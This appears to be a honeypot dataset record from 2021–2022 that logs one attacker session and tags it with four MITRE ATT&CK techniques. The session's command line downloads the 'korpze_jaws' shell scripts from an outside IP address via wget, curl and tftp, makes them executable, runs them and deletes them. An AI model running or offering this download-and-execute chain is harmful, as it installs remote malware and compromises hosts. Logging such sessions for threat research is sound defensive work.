Honeypot attack session (period 2021_2022), commands issued:
cd /tmp; wget http://205.185.126.254/korpze_jaws.sh; curl -O http://205.185.126.254/korpze_jaws.sh; chmod 777 korpze_jaws.sh; sh korpze_jaws.sh; tftp 205.185.126.254 -c get korpze_jaws1.sh; chmod 777 korpze_jaws1.sh; sh korpze_jaws1.sh; tftp -r korpze_jaws2.sh -g 205.185.126.254; chmod 777 korpze_jaws2.sh; sh korpze_jaws2.sh; rm -rf korpze_jaws.sh korpze_jaws1.sh korpze_jaws2.sh

MITRE ATT&CK techniques observed:
T1105 Ingress Tool Transfer
T1222 File and Directory Permissions Modification
T1059 Command and Scripting Interpreter
T1070 Indicator Removal